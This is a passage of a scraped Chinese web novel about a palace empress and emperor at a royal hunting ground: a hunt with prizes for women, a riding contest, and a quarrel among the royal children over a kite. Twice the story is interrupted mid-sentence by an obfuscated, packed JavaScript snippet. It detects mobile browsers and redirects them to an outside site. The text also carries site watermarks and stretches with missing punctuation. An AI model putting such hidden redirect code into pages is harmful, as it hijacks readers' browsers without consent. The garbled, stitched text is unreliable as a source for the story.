霍翎暗道,肃亲王的才干如何,她没领教过,但这无疑是个聪明人。 经过八天时间的赶路,随驾队伍终于抵达苍州行宫。 这回除了宁信长公主一家,端王一家和肃亲王一家也都住进了行宫里。 礼部安排的狩猎章程与去年差不多,狩猎第一天,所有随驾而来的人齐聚在校场上,恭候天子驾临。 景元帝穿着轻甲,手持天子佩剑,霍翎跟在他身侧,与他一起走上高台,听他如去年那般拿出宝物当彩头,谁猎得最多猎物就能赢下所有宝物。 待景元帝话音落下,霍翎开口道:“陛下,也让臣妾凑个热闹,设个彩头吧。 景元帝问:“皇后要设什么彩头? 霍翎道:“女子与男子在体力上存在悬殊,就算两人骑射相当,女子坚持的时间也很难赶超男子。 “再说了,陛下赏赐的这三样宝物,大都只适合男子使用。既然是设置彩头,又怎能厚此薄彼呢,不如再多设一个彩头,也能添些热闹。 景元帝回头看了看自己拿出来的三样宝物,失笑道:“是朕疏忽了。 知道景元帝这是同意了,霍翎垂下眼眸,俯视下方所有人,声音提高了些。 “本宫会另外取出三样宝物,赏赐给今日猎得最多猎物的女眷,希望能借此一睹诸位的风采。 此话一出,别说各府女眷了,就连大公主和二公主这两个初学者都有些跃跃欲试。 许时渡更是摩拳擦掌,准备第一时间冲进山林里狩猎。 等到景元帝再次发话,众人齐齐冲进猎区,原本热闹的校场顿时冷清许多。 景元帝问霍翎:“我们也走? 霍翎点头,接过无墨递来的弓箭和箭筒,一一背到身后:“陛下这回想要什么猎物? 景元帝笑道:“那就继续为朕猎一头鹿吧。 作者有话要说 第 63 章 “朕还以为你听到... 长风从远处吹来,将那面黑色为底、金线绣纹的天子旌旗吹得猎猎作响。 霍翎和景元帝一起走下高台,有禁卫为她牵来马匹。 这名禁卫给霍翎的感觉很熟悉,霍翎顺势扫了眼他隐在头盔后的脸,旋即笑了:“怎么不下场参加骑射,赢陛下的彩头?” 无锋见霍翎认出了他,露出一个灿烂的笑容。 景元帝听到动静,向这边看来:“这就是那个让你特意向朕求了恩典的无锋?” 霍翎诧异:“陛下竟还记得?” 景元帝道:“若是叫其他名字,怕是早就忘了。” 霍翎立刻扭头对无锋说:“听听陛下这话,你以后还敢说本宫不会取名吗?” 无锋连忙告饶:“娘娘,属下可就只抱怨过一次,您怎么记了这么久。” 景元帝笑道:“你家娘娘方才的问题,你还没回答呢。” 无锋恭敬道:“回陛下话,在朱雀卫里,属下的骑射就略逊于郑世子,况且今日正好是属下轮值,若是为了彩头耽误了身为朱雀卫的职务,就辜负了陛下和娘娘的厚望。” 听了无锋这一番话,景元帝对霍翎道:“重剑无锋,大巧不工,朕就说你这名字取得好。” 霍翎道:“陛下可不能只在嘴上夸夸。” 景元帝想了想,目光落在无锋腰间配剑上,这是每个禁卫军都会配备的佩剑:“你擅用剑对吧。” 无锋已经猜到了景元帝接下来会说什么:“是。” 景元帝道:“正好工部前些天锻造出了一批剑,削铁如泥,朕就赐你一把,日后在朱雀卫好好当差。” 无锋喜出望外,连忙抱拳谢恩。 周围其他禁卫都一脸羡慕地看着无锋。 说起来,他们这些人都同属于朱雀卫,单论家世,除了无锋外,个个都是官宦子弟。可是,谁能在陛下面前如此露脸啊,不仅能被陛下记住名字,还额外得了陛下赏赐。 虽说无锋在朱雀卫里的表现是不错,但他能出头,还不是因为他是皇后娘娘的人。 只要皇后娘娘地位稳固,无锋以后的前途还差得了吗。想到这儿,不少人都暗下决心,回去后一定得想办法和无锋套套近乎,攀攀交情。 …… 霍翎也就是 随口为无锋讨一个赏赐,让他能在朱雀卫有更好的人缘。 眼看着时间差不多了,霍翎和景元帝一起进入猎场,一众禁卫紧紧跟随在两人身后。 霍翎这回没有抱着什么目的,纯然享受着狩猎的过程。 凭心而论,皇家猎场气象恢弘,是她见过的最大、猎物最多的猎场,但去年她的心神没有太放在狩猎这件事情上,今年才是完全放松下来沉浸其中。 她这一沉浸,收获的猎物就多了起来。 视野里猛地蹿出一只獾,霍翎伸手去摸箭矢,却摸了个空。 “箭都射完了。景元帝在一旁道。 那只獾已经逃出视野,霍翎有些遗憾地放下弓箭:“陛下怎么也不早点提醒我? 景元帝笑问:“提醒这个做什么。要提醒也是提醒你停下来休息,你想想自己方才射出了多少支箭? 不说还好,景元帝这么一说,霍翎也感受到了肩膀的酸疼。 她抬手揉了揉肩膀,鬓角碎发被薄汗润湿,眼眸却因兴奋而熠熠生辉:“臣妾好久没有这么放开了狩猎了。 景元帝看出来了。 也正是因为看出来了,他才一直没有出声打扰她,直到她的箭筒彻底空了才开口。 “休息一下再继续吧。 霍翎点点头,率先翻身下马,用帕子擦了擦脸,又喝了无墨递来的水,这才感觉舒服了。 在树荫底下休息了会儿,霍翎拿起重新装满箭矢的箭筒,背回身上,却不再像方才那样全身心投入到狩猎里。 她又不需要赢彩头,玩尽兴就行了,没必要刚来到行宫就拼尽全力。 霍翎就这么有一搭没一搭地射着箭,不时还督促景元帝也射几箭,只可惜一行人在猎区里转悠许久,都没碰到一头鹿。 朱雀卫的白统领看了看天色,驱马上前提醒帝后,天色不早了,是不是该回去了。若是帝后回去得太晚,留守在校场的人会惊慌的。 “那我们回去吧,等明日—— 几乎就在霍翎话音响起的瞬间,一头麋鹿从她的视野里飞快掠过。 对一名优秀的猎手来说,捕捉猎物的时机几乎已经化作本能,还未放下的弓箭顺势拉满,霍翎不假思索,松开了手。 这种下意识 的举动往往才是最快的。直到看见霍翎的动作直到顺着箭矢飞出的方向看见猎物被一箭洞穿才有不少人发现猎物的存在。 一片压抑的惊呼声中景元帝抬手拊掌:“你去年还需要两箭才能命中猎物今年只用一箭就够了。” 霍翎收弓微笑:“有了这头鹿今天也算是能圆满收场了。” 临回去前有了这么大的收获大家都很高兴。 等帝后一行回到校场守在校场的禁卫军统领詹凌狠狠松了口气。陛下和娘娘要是再晚回来一两刻钟他都要亲自带队进猎区寻人了。 不多时其他狩猎队伍也陆陆续续回到校场都是各有斩获。 要说收获猎物最多的依旧是靖国公世子郑新觉。 去年他猎到了一头野猪靠着野猪独占鳌头赢下了景元帝设置的彩头。 今年他没有再猎到野猪这种大型猛兽但各种大大小小的猎物堆叠在一起如小山一般着实壮观。 霍翎只朝那边扫了一眼就将注意力都放到女眷这边。 有了霍翎设下的彩头不少原本不打算下场狩猎 众人带着竞争的心情下场骑射的水平有高低狩得的猎物有多少但从猎区回到校场后都兴致勃勃围在猎物旁边聊天。 霍翎不方便过去凑热闹就让无墨去听听大家都在聊些什么。 无墨去得快回来得也快:“大家都在聊狩猎的事情有一些人约着明日继续进去林区也有些人互相交流着骑射的技巧。” 霍翎笑道:“看来这个彩头果然设对了来参加狩猎就得这么热闹才好。” 其实在礼部制定好的一系列章程里从头到尾都没有她设置彩头这个环节。 但当她站在高台之上这个念头就突然冒了出来。 皇帝可以设置彩头皇后为什么就不可以呢。 只要赏赐的规格不越过景元帝赏赐的人选又是女眷谁能挑出她的问题来? 礼部的章程里没有这一条无非是因为从前没有哪位皇后这么做过。 但当她这么做了以后这种做法就能被写进下一次、下下次的章程里成为一种惯例。 就像从前也 没有哪位皇后,会在年节时与皇帝一起写春符,赏赐给臣子的夫人。 她可以用懿旨斥责江祭酒,命令邱鸿振处死何泰,提议景元帝整顿马政,用这种狂风骤雨的方式来提升自己的威望。 也可以用这种潜移默化的方式,将她的权威和影响一点点深入人心。 思绪转动间,霍翎又重新看向女眷那边,笑道:“看来头彩是决出来了。” 女眷这边拔得头筹的人,是朱雀卫白统领的女儿白问筠。 霍翎将白问筠叫到自己面前,也不急着问别的,只说想先看看她的手。 霍翎摸了摸白问筠指尖的茧子,笑道:“难怪你能赢下头彩。只看这些茧子,本宫就无需再问别的了。” 朝身后的崔弘益示意,让崔弘益将早就准备好的三样宝物拿给白问筠。 等白问筠高高兴兴谢恩退下,霍翎和景元帝也带着大公主、二公主和季渊晚一起返回行宫。 连着两天进入猎区,霍翎都有不小的收获。被她督促着的景元帝也进步喜人,至少射上三四箭总有一两箭不会落空。 这回众人要在行宫里待上整整一个月,所以霍翎和景元帝也不急着一口气玩个尽兴,接下来几天都留在行宫里休息,挑着太阳没那么晒的时辰到处闲逛,将去年没来得及参观的宫殿都一一看过。 行宫虽大,但风景好的地方也就那么些。住的人多了,总有偶遇到的时候。 霍翎和景元帝在闲逛的时候,不仅偶遇过肃亲王,还遇见过端王妃带着二儿子季渊康出来散步。 端王妃的袖子被小儿子紧紧扯着,她正低着身子与小儿子说些什么,听到身边婢女的提醒,连忙侧过身子给帝后二人行礼。 霍翎道了一声“免礼”,又朝躲在端王妃身后悄悄看着她的季渊康笑了一下,扭头对景元帝道:“陛下,我们走吧。” 逛到留烟园时,霍翎和景元帝还在里面瞧见了端王。 端王正坐在假山上饮酒,看到帝后二人相携而来时,先是一怔,连忙下了假山,语气温和自然:“没想到皇兄和皇嫂会来这里。” 景元帝看着他手里的酒坛,笑道:“朕与皇后就是随意逛逛,倒是你,怎么没陪着王妃和渊康,而是躲在这里偷闲。” 端王唇角一僵,他 与端王妃感情不睦这件事情,几乎已经是个公开的秘密。他不信皇兄没听说过。 但只是一瞬,端王就恢复了过来,识趣道:“臣弟正准备过去寻他们。既然皇兄和皇嫂要逛园子,臣弟就不打扰了。 一直到端王离开,他的视线都克制地没有落在霍翎身上。 霍翎看着景元帝,说:“陛下是故意的。 景元帝眼中漫出些许笑意:“你不是想采荷花来酿酒吗,留烟园后面有个池子,里面的荷花生得极好。十三走了以后,就没人打扰我们了。 霍翎拉长声音“噢道:“臣妾原本还想叫嘉乐一起过来酿酒的。 景元帝知道她是在故意调侃,却还是照着自己的心意道:“别叫她。她若想酿,让她带着两位公主和肃亲王府的几个小姑娘一起酿。 想要用荷花酿酒,首先就是采集足够多的荷花。 荷花池边放有几条小舟,霍翎一看,顿时起了兴致,招呼着景元帝和她一起泛舟采莲。身边的宫女内侍也不能干看着两位主子忙碌,在请示过后,也纷纷将小舟推入池中,帮忙采摘莲花。 有这些宫人帮忙,只花了一个多时辰,就收集来了几大筐荷花。 李满早就找好了懂得酿酒的师傅,一应酿酒所需的材料也都准备妥当。 有宫人抢着干各种杂活,又有师傅在旁边提点示范,这酒酿得很是顺利。 景元帝让李满找来行宫的布局图,指着布局图问霍翎,想把这九坛酒埋在哪里。 霍翎仔细看了一会儿,指着长信宫道:“埋在这里吧。 “臣妾记得院中有一棵梧桐树,我们可以把酒坛埋在梧桐树底下。 去年来行宫时,霍翎就住在长乐宫里。 今年她与景元帝同住在长清宫,长乐宫却也空着,没有安排其他人住进去。 景元帝笑道:“好,那就埋在这里。 趁着天色还不算晚,霍翎和景元帝带着一行宫人、一车酒坛,从长清宫前往长乐宫,将这些酒坛悉数埋在梧桐树下。 仰头看着这棵郁郁葱葱的梧桐树,霍翎眼眸含笑:“等过上几年,陛下再与臣妾来此地,将这几坛酒起出来共饮吧。 她的侧脸不知从哪儿蹭到了一抹尘土,发梢上也落了些 许细碎的枯枝景元帝为她拂去那些枯枝又用指腹为她抹去那道浅淡的泥痕 小说更新,记住域名qiexs?(请来企鹅 小说 看最新章节 完整章节)笑应了声好。 *** 抵达皇家猎场第六日礼部安排了一场骑射比赛。 去年霍翎就是在参加骑射比赛时惊马受伤的。礼部顾及着帝后的心情原本是安排了其它比赛来替代骑射比赛但霍翎看完章程以后还是让礼部改了回去。 景元帝也问了一下见霍翎坚持最终还是没说什么。 但等一行人来到校场准备登上观景台前景元帝脚步一顿看了看身边的霍翎朝她伸出手。 霍翎一怔将手掌放到景元帝的手心里被他牵着登上观景台与他一起落座在中央看台上。 今天的比赛依旧分为两场第一场是军中比试第二场是各家子弟比试。 军中比试主要是禁卫军四大营的比试。每一营选出两位佼佼者共八人上场比赛。 朱雀卫选出来比试的两个人刚好都是霍翎认识的。一个是靖国公世子郑新觉一个是无锋。 “你更看好哪一营?”景元帝侧头问霍翎。 霍翎道:“臣妾也不知道哪一营的实力最强但郑世子和无锋都在朱雀营这会儿还代表了朱雀营上台比试臣妾肯定更希望朱雀营能获胜。” 景元帝笑了下顺势为霍翎介绍起四大营的情况。 霍翎认真听着突然问:“那陛下呢?陛下最看好哪一营?” 景元帝随口道:“那朕也押朱雀营吧。” 四大营的实力有强弱之分但每一营都是从上万人里挑出两个人来参加比赛。比赛鹿死谁手还真不好说。 比赛情况确实相当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164069|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激烈胶着没有哪个人能从头到尾保持绝对优势直到最后三圈差距才慢慢拉开。 郑新觉和无锋也没有辜负期待在两人有意配合下最终还是替朱雀营拿下了这场比赛的胜利。 第一场比赛结束后第二场比赛也很快开始。 霍翎这个位置无疑是全场视野最好的位置她正专注地欣赏比赛就感觉到握着她右手的那只手掌突然加重了力道。 “陛下。” 高台之下的比赛依旧激烈加油欢呼声不绝于耳。 但霍翎已经不关注比赛了。 她侧头看着景元帝动了动自己的右手与他十指紧扣。 “都过去了。” 入京之前是她时刻警惕着敌人的报复为了对付敌人、拥有自保能力而不断谋划。 如今猎人与猎物的角色早已颠倒。 轮到她的敌人在恐惧她的报复了。 景元帝没说话只是将目光落到霍翎的脖颈后侧。那里的大片擦伤早已恢复如初但仔细看去还是能发现那里的肤色与其它地方的肤色有些许区别。 “你怎么这么大胆。”景元帝说“礼部都将比赛改掉了你还非要改回来。” 霍翎唇角微弯:“正因为害怕我才一定要直面它。” 坠马之后有很长一段时间她都没有骑过马出行只用马车。即使坠马是她刻意为之她心里依旧无法避免的存了几分逃避的想法。 可是恐惧这种情绪从来都是无用的那天她路过马厩径直走了进去翻身上了马背。 骑在颠簸的马背上她的眼前浮现出来的不是蓝天白云 铺天盖地的血色将她的视野覆盖、吞没她在下马和坚持中还是选择了后者。 她花了那么多年才练出来的骑射她手心磨出来的一寸寸茧子怎么能够因为一次坠马就荒废? 等无墨拿着外衣再过来找她时霍翎已经重新找回了骑马的感觉。 景元帝的问话将霍翎的思绪拉回来:“那还要看比赛吗?” 霍翎道:“还是看看吧臣妾觉得这场比赛也挺精彩的。” 她是抱着欣赏比赛的想法在观看比赛景元帝笑了一下知道她是彻底不害怕了:“那我们继续看吧。” *** 霍翎和景元帝每隔两三天就进一趟猎场打猎余下时候多是在行宫里待着。 霍翎在来行宫前就将宫务都交给了德妃代管这会儿她连宫务都不需要处理空闲时间就更多了;景元帝却不能完全撒开手每天都有一大堆折子等着批复。 季二夫人偶尔会过来霍翎这里坐一坐。 有时会带上季二娘子和季三郎一起有时只是独自一人过来将分寸拿捏得很好。 这天中午霍翎小憩起来后突 然想吃冰碗来消消暑。 她吩咐崔弘益:“让小厨房的人多做一些,到时给几个孩子也都送一份过去。” 这几个孩子,当然既包括肃亲王府的孩子,也包括端王府的季渊康。 不多时,小厨房那边就将冰碗送了过来。 霍翎正和景元帝用着冰碗,崔弘益突然匆匆走进殿内,脸上带着些急色。 霍翎放下汤匙,问:“慌里慌张的,发生了什么事?” 崔弘益尴尬道:“娘娘,几位公子打起来了。” 霍翎诧异:“为什么会动手?底下人没拦着他们吗?” 崔弘益过来禀报前,已经和周围的宫人打听过具体的情况,这会儿面对霍翎的问题,倒也能回答上来。 行宫里就那么几个孩子,既是亲戚,年纪又相仿,有事没事就总三三两两招呼着凑在一起玩。 今儿天气好,太阳也不晒,大公主招呼大家一起放风筝。 为了让小主子们玩得开心,宫人们做了各式各样的风筝,结果在挑选风筝时,季渊康和季三郎刚好选中了同一个。 两个孩子互不相让,在争扯风筝时,季三郎没收住力道,脚下一个踉跄,直接摔在了风筝上,还被竹片划伤了脸。 鲜血喷涌而出,季三郎疼得厉害,也吓得不轻,坐在地上嚎啕大哭。 季大郎听到弟弟的哭声,再看弟弟那满脸的血,还以为是季渊康欺负了季三郎,冲过去推开季渊康,抱着季三郎就喊人去找太医。 季渊康被推倒在地,又被季三郎那一脸血吓得不轻,知道自己是闯祸了,也跟着哇哇大哭。 季渊晚也不知道发生了什么,但总不能眼睁睁看着弟弟被欺负,就与季大郎推搡了起来。 这一连串事情发生得太快,等二公主尖叫着让他们住手时,场面已经混乱起来了。 崔弘益过去的时候,几个孩子已经被宫人分开。 大公主身边的人去喊了太医,季渊康身边的人去通知了端王妃,季三郎身边的人也去通知了肃亲王府的人。 崔弘益一看,得了,他也赶紧回来禀告娘娘一声吧。 …… 霍翎原本都打算亲自去看一看了,但听说宫人们已经通知了端王府和肃亲王府,她问:“你瞧见季三郎的 伤口了吗?伤得深不深?” 崔弘益道:“伤口有些长,不深,奴才走的时候,血已经止住了。” 霍翎又问:“那大公主和二公主呢,有没有被吓到?” 崔弘益摇头:“两位公主都很好,有嬷嬷在旁边照顾着她们。” 既如此,霍翎就放心了:“让太医给三郎用最好的药。孩子年纪还这么小,又是伤在脸上,可千万别留疤了。” 看着霍翎没有要起身的意思,崔弘益心下有些惊讶。 虽然霍翎从来没有明说过什么,作为霍翎的心腹,时间长了,总能隐隐猜到一些霍翎的打算。 不过惊讶只是一瞬,崔弘益连忙收敛心神,低下头,行一礼后默默退了出去。 殿内,霍翎也没心情吃冰碗了,将碗推到一边。 景元帝看了看霍翎,问出了崔弘益不敢开口的问题:“不去看看吗?” 霍翎道:“这件事情,就是几个孩子在玩闹时没注意好分寸。” “既然端王府和肃亲王府的人都过去了,臣妾就先等等看吧。如果他们能争出一个结果,那就按他们自己的想法来。如果争执不休,需要臣妾和陛下评评理,我们再过去不迟。” 要是受伤的人是大公主和二公主,霍翎肯定就直接过去了。但在几个孩子的亲生父母已经过去的情况下,霍翎反倒不好直接掺和进去。 景元帝也将自己的冰碗推到一边:“朕还以为你听到三郎受伤后会很紧张。” 作者有话要说 第 64 章 帝心。 正值盛夏七月,宫外蝉鸣阵阵,暑气蒸腾。 长清宫内,冰块融化后散发出来的凉意,驱逐了独属于夏日的燥热。 桌案上的香炉升腾起袅袅烟雾,里面燃烧着霍翎最喜欢的香料。 隔着朦胧的烟雾,霍翎抬眸,望向坐在她对面的景元帝。 景元帝神情平静,仿佛方才只是随口一说。 要是景元帝提起其他孩子,即使是提起季渊晚,霍翎都不会太放在心上。 但他突然提到季三郎,霍翎还真不能当做随口一说。 她选择了一个不会出错的回答:“都是些孩子。他们难得出京一趟,谁在行宫受了伤,臣妾都会紧张。” 景元帝颔首:“这么小的孩子,伤在脸上,确实麻烦。” 霍翎与景元帝朝夕相处,远比一般人要了解景元帝。 他说话的语气一如平常,但霍翎能感受到,她的回答没有让他满意。 “臣妾是皇后,是这行宫的主人,客人在行宫受了伤,总要慰问关心一二,但也不会越过他们的亲生父母。” “这么说可能不太中听,臣妾听说两位公主没有受伤,心下是庆幸的。” 霍翎这一番话,情真意切,又将自己的立场体现得淋漓尽致。 她关心季三郎,是因为她是皇后,是行宫的主人。 季三郎平日里也喊她一声“皇伯母”,她若是一点儿都不紧张,那就显得太冷血了。 但季三郎有自己的亲生爹娘。 她更关心的,也是两位公主。 景元帝被她这话说得一笑:“朕知道。你与崔弘益说的那些话,朕都听到了。” 那看来,景元帝不是因为她方才的表现,才突然提到“季三郎”的。 是因为季二夫人这些天常带着两个孩子过来吗? 在霍翎琢磨的时候,景元帝叫了人进来,将冰碗收走,又让人送来一壶热茶。 这一连串举动,明显是要将季三郎的话题揭过去。 只要霍翎配合着喝一口茶,再聊聊今天茶水味道如何,这个话题就算是彻底过去了。 但明面上过去了,不代表这个问题本身不存在。 “陛下。”霍翎捧着温热的茶盏,示意周围的宫人退下。 帝心难测就算远比一般人要了解景元帝霍翎也不可能猜中景元帝所有的想法。既然猜不透霍翎就不猜了。 他提到了季三郎她就跟他好好聊一聊季三郎。 “您是不是觉得臣妾与肃亲王府交好是有意让季三郎进宫与大公子相争。” 直白得不能直白的话语让景元帝都险些被茶水呛了一下。 他放下杯子一时间不知该怎么回答好。 一片沉默中霍翎突然笑出声来。 笑声打破了凝滞的气氛霍翎将帕子递给景元帝。 “陛下您还记得臣妾跟您说过立后圣旨下来后有很多人过来给臣妾送礼吗?” “当时臣妾问过您要不要看看送礼名单您让臣妾自己心中有数就好。” 见霍翎盯着他等着他的回答景元帝道:“是有这回事。” 霍翎的语调不疾不徐好像只是在和景元帝随口闲聊而不是迫切要向景元帝证明自己的清白。 “所以臣妾也没跟陛下说过在臣妾的添妆礼上肃亲王府的人给臣妾送了一份厚礼。” “肃亲王是先帝胞弟您的亲叔叔又是宗人府宗正在宗室地位极高。他们有意与臣妾交好臣妾没理由将他们往外推就顺水推舟将季二娘子选为了公主伴读。” “当然就算肃亲王府与臣妾没有任何交情在选公主伴读时臣妾也会考虑他家二娘子。” 肃亲王府的地位摆在那里。 除非霍翎不打算从宗室选人。 只要从宗室选人季二娘子就是首选。 “臣妾与肃亲王府的来往从来都是光明正大。” “在京师里季二夫人每次进宫朱雀门都有记录;来到行宫臣妾每次都在这里接见季二夫人。” “臣妾若说自己完全不清楚肃亲王府的打算陛下定要觉得臣妾不实诚——” “但肃亲王府的打算 霍翎握着景元帝的手掌轻声道:“说句您可能不爱听的。您正春秋鼎盛臣妾刚进宫不到一年就算真有什么安排也不会急在这一时啊。” 面对肃亲王府的示好霍翎不能说自己一点儿别的打算都没有。 但她更多 的,还是顺势而为。 肃亲王府向她示好,她就接着。 可要说她急着赶走季渊晚,迎季三郎进宫,那也不是。 真正急着赶走季渊晚,迎季三郎进宫的,是肃亲王府的人。 宗室有那么多孩子,她与季三郎拢共只见了不到十面,不是非他不可。 她根基未稳,何必现在就为季三郎冲锋陷阵? 在季渊晚进宫以后,景元帝对端王和柳国公是什么态度,别人不清楚,霍翎还不清楚吗? 景元帝笑了一下,问霍翎:“怎么突然与朕说起这些?” 霍翎见他在装糊涂,也不由笑了:“想到了,就随便跟您聊聊。” 她扭头看向宫殿门口,转移话题:“崔弘益怎么去了这么久还没回来。” 景元帝道:“闲着也是闲着,要不要过去看看?” 霍翎应道:“也好。” 但霍翎刚起身走了两步,又被景元帝拉住了。 “阿翎,在渊晚的事情上,朕有朕的考量。” 霍翎看着景元帝,等待他的后文。 景元帝却只是点到为止:“你先自己琢磨琢磨。实在想不到了,再来问朕。” 有关自己的心意,自己的考量,景元帝原本是不打算透露出来的。 但在他已经决定转移话题的时候,霍翎向他坦白了她对肃亲王府的态度。 就当是为了安一安她的心,他也愿意让她看到他在继承人这件事情上的真正态度。 *** 行宫里巨树参天,枝繁叶茂。 霍翎行走在浓密的树荫底下,心里却在思考着景元帝说的那番话。 还没想出个所以然,他们就先抵达了目的地。 这里的场面还混乱着,隔着一段距离,霍翎都能听到人群中传出的争执声。 宁信长公主和许时渡也到了。 母女两站在大树底下,离人群隔了段距离,只要不刻意朝这边看,很难在第一时间发现她们。 宁信长公主神情平静,似乎没太把这些争端放在心上。 许时渡却没她娘那么好的心态,脸上带着难以掩饰的焦急。 景元帝朝正准备出声喊“陛下、娘娘到”的李满摆了摆手,与霍翎一起向宁信长公主 走去。 宁信长公主摇着手里的团扇,打了声招呼:“皇兄,皇嫂,你们也来了。” 霍翎向母女两打听:“情况如何了?” “还有得吵。”宁信长公主说,“你们来得早了点。” 她娘看热闹的态度,表现得也太明显了吧。许时渡心下无奈,替她娘补充。 “三郎已经被带到不远处的宫殿处理伤口了。” “渊康受了惊吓,手臂和小腿都有些磕碰,也被带下去安抚了。” 季大郎和季渊晚,倒是留在了这里没走。 肃亲王辈分太高,孙辈间的事情不好出面,过来的只有季二老爷和季二夫人。 端王和端王妃在知道消息的第一时间,也一起赶了过来。 在霍翎与许时渡说话时,无墨也将崔弘益带了过来。 等崔弘益行过礼,霍翎关心道:“大公主和二公主呢,怎么没看到她们。” 崔弘益道:“两位公主带着季二娘子下去休息了。” 霍翎听出了不对:“下去休息?二娘子发生了什么事?” 崔弘益也不敢隐瞒:“季三郎伤在脸上,季二夫人赶到的时候,看到他一脸血,差点吓晕过去,情绪激动之下,就有些迁怒了二娘子,说二娘子没看好弟弟,不懂得像季大郎一样冲上去保护弟弟。” 霍翎眉心微蹙。 连这种话都说出来了,季二夫人真是急昏了头。 景元帝道:“端王府和肃亲王府的人来了以后都做了什么,你仔细说说。” 两家的人几乎是前后脚抵达了现场。 季二夫人看到季三郎那满脸血的模样,抱着季三郎就哭了起来。 还是看见太医到了,季二夫人才勉强止住了哭声。 端王妃那边,也检查了季渊康的胳膊和膝盖。 看到季渊康身上的擦伤,端王妃也十分心疼。 但这件事情,终究是季渊康理亏。季三郎脸上的伤口,端王妃也是看得一清二楚的。 所以等季三郎和季渊康被带走以后,端王妃就代季渊康向季二夫人道歉,还答应会用最好的药,不让季三郎脸上留疤。 霍翎道:“季二夫人没有接受这个解决办法,对吗。” 如果接受了,也不会吵 到现在还吵个没完了。 崔弘益应是,一番润色后,将端王妃和季二夫人争执的地方说了出来。 季二夫人不接受,是因为她觉得,季渊康是故意推倒季三郎的。 不然这地上这么多风筝,在季三郎先看上那只风筝的情况下,季渊康怎么会恰巧和季三郎看上了同一只? 端王妃听到这话,也气愤了,认为季二夫人是在借题发挥,存心挑事。 算算年纪,季渊康比季三郎还小了几个月,一个三四岁的孩子,谁会指使他干坏事啊。 反倒是季大郎,已经九岁了,他再着急季三郎的情况,也不应该伸手去推季渊康啊。 真要说故意,季大郎才更像是故意的吧。 双方各执一词,场面顿时就僵住了,然后就说火气越大,谁都不肯退让。 这要是再认错,岂不是相当于承认了自家孩子故意推倒堂兄弟? 许时渡也就只比霍翎早来了一会儿,对于这些情况并不了解。 现在听到崔弘益的话,她惊讶得瞪圆了眼睛:“大家都是亲戚,平日里抬头不见低头见的,怎么会闹到这种地步。 几人里,也就只有许时渡能问出这种话了。 霍翎没有开口回应许时渡,心下却知道为什么会闹到这种地步。 这件事情往简单了看,就是几个孩子打闹时没注意好分寸。 虽说季三郎受了伤,但这伤留不了疤,大家又是正经亲戚,稍稍含糊一二,再好好赔个礼道个歉,也就彻底揭过去了。 可是,当牵扯进去的人,恰好是季三郎、季渊康、季大郎和季渊晚后,这件原本很简单的事情,也开始变得复杂起来。 甚至可以说,季二夫人和端王妃在较劲的东西,已经不仅仅是这件事情本身的对错。 …… 季二夫人和端王妃各执一词,端王一时插不上话,只好在旁边安抚季渊晚。 陪季渊晚说话时,端王视线余光一扫,这才注意到树底下站着的几人。 经他一提醒,端王妃等人也都看见了霍翎和景元帝。 季二夫人道:“我们这么吵下去也不是个事,既然陛下和娘娘来了,就让陛下和娘娘给我们评评理吧。 说的域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 季二夫人这个提议合情合理,但 端王妃听到这话,心瞬间提了起来—— 霍翎和季二夫人就是一伙的,要让霍翎来评理,肯定会偏袒季三郎那边。 一想到这儿,端王妃的怒火顿时被冷水浇灭了大半,只剩下一点儿余烬还在滋滋作响。 “母妃?” 季渊晚跟着端王走了两步,发现端王妃没跟上,回头叫了一声。 端王妃连忙抬步跟上。 “娘娘,你可一定要给我们三郎做主啊。” 等端王妃来到近前,恰好听到了季二夫人对霍翎说的这句话,只觉自己的猜想被彻底坐实了。 她暗暗一咬牙,突然扭头对景元帝道:“陛下,三郎受了伤,我们这些做长辈的看了心里也不好受。” “但两个孩子打闹之事,非要上升到阴谋,那也太危言耸听了。” 景元帝眉梢微挑,没有接话。 端王也不知道端王妃在闹哪一出。 哪里有越过皇后,直接找上皇帝做主的。 他立刻替端王妃找补:“皇兄,王妃也是关心则乱。” 端王又用手推了推季渊晚的肩膀,让他站到景元帝和霍翎身后去。 季渊晚乖乖走了过去,行一礼后,犹豫了下,还是小声道:“皇伯父,皇伯母,渊康肯定不是故意推倒三郎的。” 霍翎道:“你别担心,我们这些做长辈的会处理好的。” “你和大郎在外面站了这么久,也先下去休息吧。正好去看看两个弟弟的情况如何了。” 霍翎让崔弘益带走两个孩子,这才重新看向众人。 “事情的来龙去脉,本宫与陛下都清楚了。” “崔内侍问过周围的宫人,三郎确实是在和渊康争抢风筝时,没收住力道,这才摔倒划伤了脸。” 这件事情,霍翎打算往简单了来处理。 季三郎受了伤,季渊康要好好向季三郎道歉。 季大郎在情急之下推倒季渊康,虽然能理解,但也应该和季渊康认个错。 季渊晚与季大郎推搡,更是事出有因,不仅没错,还值得表扬一番。 不偏不倚,有错就道歉。 这种处理方式,未必是最好的,却是最能让大家接受的。 就连端王妃在听完霍翎的话后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍翎干脆带着两位公主回了长清宫,留她们一起吃了顿饭,又让厨房的人给她们准备了压惊的甜 点。 等两个小姑娘都重新展露笑容,霍翎才让人送她们回去休息。 折腾了一天,霍翎也有些倦了。 靠在浴池里,霍翎闭着眼,慢慢回想着今天发生的事情。 想到肃亲王的时候,霍翎突然生出一个疑问。 霍翎走出浴池,在宫女的伺候下换好寝衣,回到主殿。 景元帝正倚在榻上看书,霍翎走到他身边坐下,抽走他手里的书。 氤氲的水汽缠绕而来,湿润的发梢也落到景元帝颈间。 他看了看自己空荡荡的掌心,顺势把玩起霍翎那缕垂落的长发:“怎么了? 